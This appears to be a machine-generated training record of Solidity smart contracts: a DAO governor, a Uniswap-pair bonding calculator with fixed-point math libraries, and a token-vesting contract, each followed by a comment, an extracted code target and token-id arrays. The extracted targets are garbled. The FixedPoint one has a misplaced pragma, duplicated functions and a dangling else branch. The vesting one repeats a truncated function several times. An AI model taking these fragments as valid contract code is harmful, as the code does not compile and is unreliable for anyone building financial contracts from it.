require(_targets.length == _values.length && _targets.length == _signatures.length && _targets.length == _calldatas.length, "Governor::propose: proposal function information arity mismatch");
require(_targets.length != 0, "Governor::propose: must provide actions");
require(_targets.length <= proposalMaxOperations(), "Governor::propose: too many actions");
uint256 latestProposalId = latestProposalIds[msg.sender];
if (latestProposalId != 0) {
ProposalState proposersLatestProposalState = state(latestProposalId);
require(proposersLatestProposalState != ProposalState.Active, "Governor::propose: one live proposal per proposer, found an already active proposal");
require(proposersLatestProposalState != ProposalState.Pending, "Governor::propose: one live proposal per proposer, found an already pending proposal");
}
uint startBlock = SafeMath.add(block.number, votingDelay());
uint endBlock = SafeMath.add(startBlock, votingPeriod());
proposalCount++;
Proposal storage newProposal = proposals[proposalCount];
newProposal.id = proposalCount;
newProposal.proposer = msg.sender;
newProposal.eta = 0;
newProposal.targets = _targets;
newProposal.values = _values;
newProposal.signatures = _signatures;
newProposal.calldatas = _calldatas;
newProposal.startBlock = startBlock;
newProposal.endBlock = endBlock;
newProposal.forVotes = 0;
newProposal.againstVotes = 0;
newProposal.canceled = false;
newProposal.executed = false;
latestProposalIds[newProposal.proposer] = newProposal.id;
emit ProposalCreated(newProposal.id, msg.sender, _targets, _values, _signatures, _calldatas, startBlock, endBlock, _description);
return newProposal.id;
}
/**
* @dev Queue successful proposal for execution
* @param _proposalId The id of the proposal to be executed
*/
function queue(uint256 _proposalId) public {
require(state(_proposalId) == ProposalState.Succeeded, "Governor::queue: proposal can only be queued if it is succeeded");
Proposal storage proposal = proposals[_proposalId];
uint256 eta = SafeMath.add(block.timestamp, treasury.delay());
for (uint256 i = 0; i < proposal.targets.length; i++) {
_queueOrRevert(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], eta);
}
proposal.eta = eta;
emit ProposalQueued(_proposalId, eta);
}
function _queueOrRevert(
address _target,
uint256 _value,
string memory _signature,
bytes memory _data,
uint256 _eta
) internal {
require(!treasury.queuedTransactions(keccak256(abi.encode(_target, _value, _signature, _data, _eta))),
"Governor::_queueOrRevert: proposal action already queued at eta");
treasury.queueTransaction(_target, _value, _signature, _data, _eta);
}
function execute(uint _proposalId) public payable {
require(state(_proposalId) == ProposalState.Queued, "Governor::execute: proposal can only be executed if it is queued");
Proposal storage proposal = proposals[_proposalId];
proposal.executed = true;
for (uint i = 0; i < proposal.targets.length; i++) {
treasury.executeTransaction{value: proposal.values[i]}(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta);
}
emit ProposalExecuted(_proposalId);
}
function cancel(uint256 _proposalId) public {
ProposalState state = state(_proposalId);
require(state != ProposalState.Executed, "GovernorAlpha::cancel: cannot cancel executed proposal");
Proposal storage proposal = proposals[_proposalId];
require(ams.getPriorVotes(proposal.proposer, SafeMath.sub(block.number, 1)) < proposalThreshold(), "GovernorAlpha::cancel: proposer above threshold");
proposal.canceled = true;
for (uint256 i = 0; i < proposal.targets.length; i++) {
treasury.cancelTransaction(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta);
}
emit ProposalCanceled(_proposalId);
}
function getActions(uint256 _proposalId)
public
view
returns (
address[] memory targets,
uint256[] memory values,
string[] memory signatures,
bytes[] memory calldatas
)
{
Proposal storage p = proposals[_proposalId];
return (p.targets, p.values, p.signatures, p.calldatas);
}
function getReceipt(
uint _proposalId,
address _voter
) public
view
returns (Receipt memory)
{
return proposals[_proposalId].receipts[_voter];
}
/**
* @dev This function returns the status of the proposal
* @param _proposalId The id of the proposal
*/
function state(uint256 _proposalId) public view returns (ProposalState) {
require(proposalCount >= _proposalId && _proposalId > 0, "Governor::state: invalid proposal id");
Proposal storage proposal = proposals[_proposalId];
if (proposal.canceled) {
return ProposalState.Canceled;
} else if (block.number <= proposal.startBlock) {
return ProposalState.Pending;
} else if (block.number <= proposal.endBlock) {
return ProposalState.Active;
} else if (proposal.forVotes <= proposal.againstVotes || proposal.forVotes < quorumVotes()) {
return ProposalState.Defeated;
} else if (proposal.eta == 0) {
return ProposalState.Succeeded;
} else if (proposal.executed) {
return ProposalState.Executed;
} else if (block.timestamp >= SafeMath.add(proposal.eta, treasury.GRACE_PERIOD())) {
return ProposalState.Expired;
} else {
return ProposalState.Queued;
}
}
/**
*
*/
function castVote(uint256 _proposalId, bool _support) public {
return _castVote(msg.sender, _proposalId, _support);
}
function castVoteBySig(
uint _proposalId,
bool _support,
uint8 _v,
bytes32 _r,
bytes32 _s
) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), _getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(BALLOT_TYPEHASH, _proposalId, _support));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, _v, _r, _s);
require(signatory != address(0), "Governor::castVoteBySig: invalid signature");
return _castVote(signatory, _proposalId, _support);
}
function _castVote(
address _voter,
uint _proposalId,
bool _support
) internal {
require(state(_proposalId) == ProposalState.Active, "Governor::_castVote: voting is closed");
Proposal storage proposal = proposals[_proposalId];
Receipt storage receipt = proposal.receipts[_voter];
require(receipt.hasVoted == false, "Governor::_castVote: voter already voted");
uint256 votes = ams.getPriorVotes(_voter, proposal.startBlock);
if (_support) {
proposal.forVotes = SafeMath.add(proposal.forVotes, votes);
} else {
proposal.againstVotes = SafeMath.add(proposal.againstVotes, votes);
}
receipt.hasVoted = true;
receipt.support = _support;
receipt.votes = votes;
emit VoteCast(_voter, _proposalId, _support, votes);
}
function _getChainId() internal pure returns (uint) {
uint chainId;
assembly { chainId := chainid() }
return chainId;
}
}
|
Unique id for looking up a proposal Creator of the proposal; The timestamp that the proposal will be available for execution, set once the vote succeeds The ordered list of target addresses for calls to be made The ordered list of values (i.e. msg.value) to be passed to the calls to be made The ordered list of function signatures to be called The ordered list of calldata to be passed to each call The block at which voting begins: holders must delegate their votes prior to this block The block at which voting ends: votes must be cast prior to this block Current number of votes in favor of this proposal Current number of votes in opposition to this proposal Flag marking whether the proposal has been canceled Flag marking whether the proposal has been executed Receipts of ballots for the entire set of voters
|
struct Proposal {
uint256 id;
address proposer;
uint256 eta;
address[] targets;
uint256[] values;
string[] signatures;
bytes[] calldatas;
uint startBlock;
uint endBlock;
uint256 forVotes;
uint256 againstVotes;
bool canceled;
bool executed;
mapping (address => Receipt) receipts;
}
| 6,457,847 |
[
1,
6303,
612,
364,
7849,
731,
279,
14708,
29525,
434,
326,
14708,
31,
1021,
2858,
716,
326,
14708,
903,
506,
2319,
364,
4588,
16,
444,
3647,
326,
12501,
21933,
1021,
5901,
666,
434,
1018,
6138,
364,
4097,
358,
506,
7165,
1021,
5901,
666,
434,
924,
261,
77,
18,
73,
18,
1234,
18,
1132,
13,
358,
506,
2275,
358,
326,
4097,
358,
506,
7165,
1021,
5901,
666,
434,
445,
14862,
358,
506,
2566,
1021,
5901,
666,
434,
745,
892,
358,
506,
2275,
358,
1517,
745,
1021,
1203,
622,
1492,
331,
17128,
17874,
30,
366,
4665,
1297,
7152,
3675,
19588,
6432,
358,
333,
1203,
1021,
1203,
622,
1492,
331,
17128,
3930,
30,
19588,
1297,
506,
4812,
6432,
358,
333,
1203,
6562,
1300,
434,
19588,
316,
18552,
434,
333,
14708,
6562,
1300,
434,
19588,
316,
1061,
3276,
358,
333,
14708,
9960,
24073,
2856,
326,
14708,
711,
2118,
17271,
9960,
24073,
2856,
326,
2
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
[
1,
565,
1958,
19945,
288,
203,
3639,
2254,
5034,
612,
31,
203,
203,
3639,
1758,
450,
5607,
31,
203,
203,
3639,
2254,
5034,
14251,
31,
203,
203,
3639,
1758,
8526,
5774,
31,
203,
203,
3639,
2254,
5034,
8526,
924,
31,
203,
203,
3639,
533,
8526,
14862,
31,
203,
203,
3639,
1731,
8526,
745,
13178,
31,
203,
203,
3639,
2254,
787,
1768,
31,
203,
203,
3639,
2254,
679,
1768,
31,
203,
203,
3639,
2254,
5034,
364,
29637,
31,
203,
203,
3639,
2254,
5034,
5314,
29637,
31,
203,
203,
3639,
1426,
17271,
31,
203,
203,
3639,
1426,
7120,
31,
203,
203,
3639,
2874,
261,
2867,
516,
29787,
13,
2637,
27827,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
import './interfaces/IERC20.sol';
import './interfaces/IUniswapV2Pair.sol';
import './libraries/SafeMath.sol';
import './libraries/FullMath.sol';
import './libraries/Babylonian.sol';
import './libraries/BitMath.sol';
import './libraries/FixedPoint.sol';
interface IBondingCalculator {
function valuation( address pair_, uint amount_ ) external view returns ( uint _value );
}
contract MonasteryBondingCalculator is IBondingCalculator {
using FixedPoint for *;
using SafeMath for uint;
using SafeMath for uint112;
address public immutable MONK;
constructor( address _MONK ) {
require( _MONK != address(0) );
MONK = _MONK;
}
function getKValue( address _pair ) public view returns( uint k_ ) {
uint token0 = IERC20( IUniswapV2Pair( _pair ).token0() ).decimals();
uint token1 = IERC20( IUniswapV2Pair( _pair ).token1() ).decimals();
uint decimals = token0.add( token1 ).sub( IERC20( _pair ).decimals() );
(uint reserve0, uint reserve1, ) = IUniswapV2Pair( _pair ).getReserves();
k_ = reserve0.mul(reserve1).div( 10 ** decimals );
}
function getTotalValue( address _pair ) public view returns ( uint _value ) {
_value = getKValue( _pair ).sqrrt().mul(2);
}
function valuation( address _pair, uint amount_ ) external view override returns ( uint _value ) {
uint totalValue = getTotalValue( _pair );
uint totalSupply = IUniswapV2Pair( _pair ).totalSupply();
_value = totalValue.mul( FixedPoint.fraction( amount_, totalSupply ).decode112with18() ).div( 1e18 );
}
function markdown( address _pair ) external view returns ( uint ) {
( uint reserve0, uint reserve1, ) = IUniswapV2Pair( _pair ).getReserves();
uint reserve;
if ( IUniswapV2Pair( _pair ).token0() == MONK ) {
reserve = reserve1;
} else {
reserve = reserve0;
}
return reserve.mul( 2 * ( 10 ** IERC20( MONK ).decimals() ) ).div( getTotalValue( _pair ) );
}
}
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity >=0.5.0;
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
interface IERC20Mintable {
function mint( uint256 amount_ ) external;
function mint( address account_, uint256 ammount_ ) external;
}
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add( div( a, 2), 1 );
while (b < c) {
c = b;
b = div( add( div( a, b ), b), 2 );
}
} else if (a != 0) {
c = 1;
}
}
}
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library FullMath {
function fullMul(uint256 x, uint256 y) private pure returns (uint256 l, uint256 h) {
uint256 mm = mulmod(x, y, uint256(-1));
l = x * y;
h = mm - l;
if (mm < l) h -= 1;
}
function fullDiv(
uint256 l,
uint256 h,
uint256 d
) private pure returns (uint256) {
uint256 pow2 = d & -d;
d /= pow2;
l /= pow2;
l += h * ((-pow2) / pow2 + 1);
uint256 r = 1;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
return l * r;
}
function mulDiv(
uint256 x,
uint256 y,
uint256 d
) internal pure returns (uint256) {
(uint256 l, uint256 h) = fullMul(x, y);
uint256 mm = mulmod(x, y, d);
if (mm > l) h -= 1;
l -= mm;
require(h < d, 'FullMath::mulDiv: overflow');
return fullDiv(l, h, d);
}
}
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library Babylonian {
function sqrt(uint256 x) internal pure returns (uint256) {
if (x == 0) return 0;
uint256 xx = x;
uint256 r = 1;
if (xx >= 0x100000000000000000000000000000000) {
xx >>= 128;
r <<= 64;
}
if (xx >= 0x10000000000000000) {
xx >>= 64;
r <<= 32;
}
if (xx >= 0x100000000) {
xx >>= 32;
r <<= 16;
}
if (xx >= 0x10000) {
xx >>= 16;
r <<= 8;
}
if (xx >= 0x100) {
xx >>= 8;
r <<= 4;
}
if (xx >= 0x10) {
xx >>= 4;
r <<= 2;
}
if (xx >= 0x8) {
r <<= 1;
}
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1; // Seven iterations should be enough
uint256 r1 = x / r;
return (r < r1 ? r : r1);
}
}
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library BitMath {
function mostSignificantBit(uint256 x) internal pure returns (uint8 r) {
require(x > 0, 'BitMath::mostSignificantBit: zero');
if (x >= 0x100000000000000000000000000000000) {
x >>= 128;
r += 128;
}
if (x >= 0x10000000000000000) {
x >>= 64;
r += 64;
}
if (x >= 0x100000000) {
x >>= 32;
r += 32;
}
if (x >= 0x10000) {
x >>= 16;
r += 16;
}
if (x >= 0x100) {
x >>= 8;
r += 8;
}
if (x >= 0x10) {
x >>= 4;
r += 4;
}
if (x >= 0x4) {
x >>= 2;
r += 2;
}
if (x >= 0x2) r += 1;
}
}
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
import './FullMath.sol';
import './BitMath.sol';
import './Babylonian.sol';
library FixedPoint {
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
struct uq112x112 {
uint224 _x;
}
// range: [0, 2**144 - 1]
// resolution: 1 / 2**112
struct uq144x112 {
uint256 _x;
}
uint8 private constant RESOLUTION = 112;
uint256 private constant Q112 = 0x10000000000000000000000000000;
uint256 private constant Q224 = 0x100000000000000000000000000000000000000000000000000000000;
uint256 private constant LOWER_MASK = 0xffffffffffffffffffffffffffff; // decimal of UQ*x112 (lower 112 bits)
// decode a UQ112x112 into a uint112 by truncating after the radix point
function decode(uq112x112 memory self) internal pure returns (uint112) {
return uint112(self._x >> RESOLUTION);
}
// decode a uq112x112 into a uint with 18 decimals of precision
function decode112with18(uq112x112 memory self) internal pure returns (uint) {
return uint(self._x) / 5192296858534827;
}
function fraction(uint256 numerator, uint256 denominator) internal pure returns (uq112x112 memory) {
require(denominator > 0, 'FixedPoint::fraction: division by zero');
if (numerator == 0) return FixedPoint.uq112x112(0);
if (numerator <= uint144(-1)) {
uint256 result = (numerator << RESOLUTION) / denominator;
require(result <= uint224(-1), 'FixedPoint::fraction: overflow');
return uq112x112(uint224(result));
} else {
uint256 result = FullMath.mulDiv(numerator, Q112, denominator);
require(result <= uint224(-1), 'FixedPoint::fraction: overflow');
return uq112x112(uint224(result));
}
}
// square root of a UQ112x112
// lossy between 0/1 and 40 bits
function sqrt(uq112x112 memory self) internal pure returns (uq112x112 memory) {
if (self._x <= uint144(-1)) {
return uq112x112(uint224(Babylonian.sqrt(uint256(self._x) << 112)));
}
uint8 safeShiftBits = 255 - BitMath.mostSignificantBit(self._x);
safeShiftBits -= safeShiftBits % 2;
return uq112x112(uint224(Babylonian.sqrt(uint256(self._x) << safeShiftBits) << ((112 - safeShiftBits) / 2)));
}
}
|
range: [0, 2**112 - 1] resolution: 1 / 2**112
|
library FixedPoint {
pragma solidity 0.7.5;
struct uq112x112 {
uint224 _x;
}
struct uq144x112 {
uint256 _x;
}
uint8 private constant RESOLUTION = 112;
uint256 private constant Q112 = 0x10000000000000000000000000000;
uint256 private constant Q224 = 0x100000000000000000000000000000000000000000000000000000000;
function decode(uq112x112 memory self) internal pure returns (uint112) {
return uint112(self._x >> RESOLUTION);
}
function decode112with18(uq112x112 memory self) internal pure returns (uint) {
return uint(self._x) / 5192296858534827;
}
function fraction(uint256 numerator, uint256 denominator) internal pure returns (uq112x112 memory) {
require(denominator > 0, 'FixedPoint::fraction: division by zero');
if (numerator == 0) return FixedPoint.uq112x112(0);
if (numerator <= uint144(-1)) {
uint256 result = (numerator << RESOLUTION) / denominator;
require(result <= uint224(-1), 'FixedPoint::fraction: overflow');
return uq112x112(uint224(result));
uint256 result = FullMath.mulDiv(numerator, Q112, denominator);
require(result <= uint224(-1), 'FixedPoint::fraction: overflow');
return uq112x112(uint224(result));
}
}
function fraction(uint256 numerator, uint256 denominator) internal pure returns (uq112x112 memory) {
require(denominator > 0, 'FixedPoint::fraction: division by zero');
if (numerator == 0) return FixedPoint.uq112x112(0);
if (numerator <= uint144(-1)) {
uint256 result = (numerator << RESOLUTION) / denominator;
require(result <= uint224(-1), 'FixedPoint::fraction: overflow');
return uq112x112(uint224(result));
uint256 result = FullMath.mulDiv(numerator, Q112, denominator);
require(result <= uint224(-1), 'FixedPoint::fraction: overflow');
return uq112x112(uint224(result));
}
}
} else {
function sqrt(uq112x112 memory self) internal pure returns (uq112x112 memory) {
if (self._x <= uint144(-1)) {
return uq112x112(uint224(Babylonian.sqrt(uint256(self._x) << 112)));
}
uint8 safeShiftBits = 255 - BitMath.mostSignificantBit(self._x);
safeShiftBits -= safeShiftBits % 2;
return uq112x112(uint224(Babylonian.sqrt(uint256(self._x) << safeShiftBits) << ((112 - safeShiftBits) / 2)));
}
function sqrt(uq112x112 memory self) internal pure returns (uq112x112 memory) {
if (self._x <= uint144(-1)) {
return uq112x112(uint224(Babylonian.sqrt(uint256(self._x) << 112)));
}
uint8 safeShiftBits = 255 - BitMath.mostSignificantBit(self._x);
safeShiftBits -= safeShiftBits % 2;
return uq112x112(uint224(Babylonian.sqrt(uint256(self._x) << safeShiftBits) << ((112 - safeShiftBits) / 2)));
}
}
| 13,927,426 |
[
1,
3676,
30,
306,
20,
16,
9035,
2138,
300,
404,
65,
7861,
30,
404,
342,
9035,
2138,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
12083,
15038,
2148,
288,
203,
683,
9454,
18035,
560,
374,
18,
27,
18,
25,
31,
203,
565,
1958,
582,
85,
17666,
92,
17666,
288,
203,
3639,
2254,
23622,
389,
92,
31,
203,
565,
289,
203,
203,
565,
1958,
582,
85,
25339,
92,
17666,
288,
203,
3639,
2254,
5034,
389,
92,
31,
203,
565,
289,
203,
203,
565,
2254,
28,
3238,
5381,
12915,
1741,
13269,
273,
23543,
31,
203,
565,
2254,
5034,
3238,
5381,
2238,
17666,
273,
374,
92,
21,
12648,
12648,
12648,
2787,
31,
203,
565,
2254,
5034,
3238,
5381,
2238,
23622,
273,
374,
92,
21,
12648,
12648,
12648,
12648,
12648,
12648,
12648,
31,
203,
203,
565,
445,
2495,
12,
89,
85,
17666,
92,
17666,
3778,
365,
13,
2713,
16618,
1135,
261,
11890,
17666,
13,
288,
203,
3639,
327,
2254,
17666,
12,
2890,
6315,
92,
1671,
12915,
1741,
13269,
1769,
203,
565,
289,
203,
203,
565,
445,
2495,
17666,
1918,
2643,
12,
89,
85,
17666,
92,
17666,
3778,
365,
13,
2713,
16618,
1135,
261,
11890,
13,
288,
203,
3639,
327,
2254,
12,
2890,
6315,
92,
13,
342,
1381,
3657,
3787,
10525,
7140,
7140,
5026,
28,
5324,
31,
203,
565,
289,
203,
203,
565,
445,
8330,
12,
11890,
5034,
16730,
16,
2254,
5034,
15030,
13,
2713,
16618,
1135,
261,
89,
85,
17666,
92,
17666,
3778,
13,
288,
203,
3639,
2583,
12,
13002,
26721,
405,
374,
16,
296,
7505,
2148,
2866,
16744,
30,
16536,
635,
3634,
8284,
203,
3639,
309,
261,
2107,
7385,
422,
374,
13,
327,
15038,
2148,
18,
89,
85,
17666,
92,
17666,
12,
2
] |
pragma solidity 0.4.24;
import "../Ownable.sol";
import "../SafeMath.sol";
import "../PLGToken.sol";
import "./Schedule.sol";
/// @notice Abstract contract for vesting PLGTokens
contract TokenVesting is Ownable {
using SafeMath for uint256;
/// @notice Emitted when tokens are released to the beneficiary
/// @param amount The number of tokens released
event Released(uint256 amount);
/// @notice Emitted if the vesting contract is revoked
event Revoked();
/// Vested tokens originate from this ERC20 token contract
PLGToken token;
/// Helper contract that determines the vesting schedule
Schedule schedule;
/// The beneficiary of the vesting schedule
address public beneficiary;
/// Number of tokens released to `beneficiary` from token contracts
uint256 public released;
/// Whether the vesting contract is revoked for a given token contract
bool public revoked = false;
/// @param _beneficiary The account that receives vested tokens
/// @param _token The address of the ERC20 token contract
/// @param _schedule The address of the vesting schedule
constructor(address _token, address _beneficiary, address _schedule) public {
beneficiary = _beneficiary;
token = PLGToken(_token);
schedule = Schedule(_schedule);
}
/// @notice Disallow receiving ether using a default function with no `payable` flag.
function() external {}
/// @notice Transfer vested tokens to beneficiary.
function release() public {
require(!revoked);
require((msg.sender == owner) || (msg.sender == beneficiary));
uint256 unreleased = releasableAmount();
require(unreleased > 0);
released = released.add(unreleased);
token.transfer(beneficiary, unreleased);
emit Released(unreleased);
}
/// @notice Allow the owner to revoke the vesting. Tokens already vested
/// remain in the contract, the rest are returned to the owner.
function revoke() public onlyOwner {
require(!revoked);
uint256 balance = token.balanceOf(this);
uint256 unreleased = releasableAmount();
uint256 refund = balance.sub(unreleased);
revoked = true;
token.transfer(owner, refund);
emit Revoked();
}
/// @notice Alternative to revoke() that sends all tokens to owner and self destructs
function kill() public onlyOwner {
uint256 balance = token.balanceOf(this);
token.transfer(owner, balance);
selfdestruct(owner);
}
/// @notice Calculates the amount that has already vested but hasn't been released yet.
/// @return Number of releasable tokens
function releasableAmount() public view returns (uint256) {
if(revoked) {
return 0;
}
uint256 tokens = token.balanceOf(this);
uint256 totalBalance = released.add(tokens);
uint256 releasePercent = schedule.vestedPercent();
uint256 totalRelease = totalBalance.mul(releasePercent) / 100;
// Account for situation where vesting schedule is disabled after
// some tokens have already been released
if(totalRelease >= released) {
return totalRelease.sub(released);
} else {
return 0;
}
}
}
|
@notice Abstract contract for vesting PLGTokens
|
contract TokenVesting is Ownable {
using SafeMath for uint256;
event Released(uint256 amount);
event Revoked();
PLGToken token;
Schedule schedule;
address public beneficiary;
uint256 public released;
bool public revoked = false;
constructor(address _token, address _beneficiary, address _schedule) public {
beneficiary = _beneficiary;
token = PLGToken(_token);
schedule = Schedule(_schedule);
}
function() external {}
function release() public {
require(!revoked);
require((msg.sender == owner) || (msg.sender == beneficiary));
uint256 unreleased = releasableAmount();
require(unreleased > 0);
released = released.add(unreleased);
token.transfer(beneficiary, unreleased);
emit Released(unreleased);
}
function revoke() public onlyOwner {
require(!revoked);
uint256 balance = token.balanceOf(this);
uint256 unreleased = releasableAmount();
uint256 refund = balance.sub(unreleased);
revoked = true;
token.transfer(owner, refund);
emit Revoked();
}
function kill() public onlyOwner {
uint256 balance = token.balanceOf(this);
token.transfer(owner, balance);
selfdestruct(owner);
}
function releasableAmount() public view returns (uint256) {
if(revoked) {
return 0;
}
uint256 tokens = token.balanceOf(this);
uint256 totalBalance = released.add(tokens);
uint256 releasePercent = schedule.vestedPercent();
uint256 totalRelease = totalBalance.mul(releasePercent) / 100;
if(totalRelease >= released) {
return totalRelease.sub(released);
return 0;
}
}
function releasableAmount() public view returns (uint256) {
if(revoked) {
return 0;
}
uint256 tokens = token.balanceOf(this);
uint256 totalBalance = released.add(tokens);
uint256 releasePercent = schedule.vestedPercent();
uint256 totalRelease = totalBalance.mul(releasePercent) / 100;
if(totalRelease >= released) {
return totalRelease.sub(released);
return 0;
}
}
function releasableAmount() public view returns (uint256) {
if(revoked) {
return 0;
}
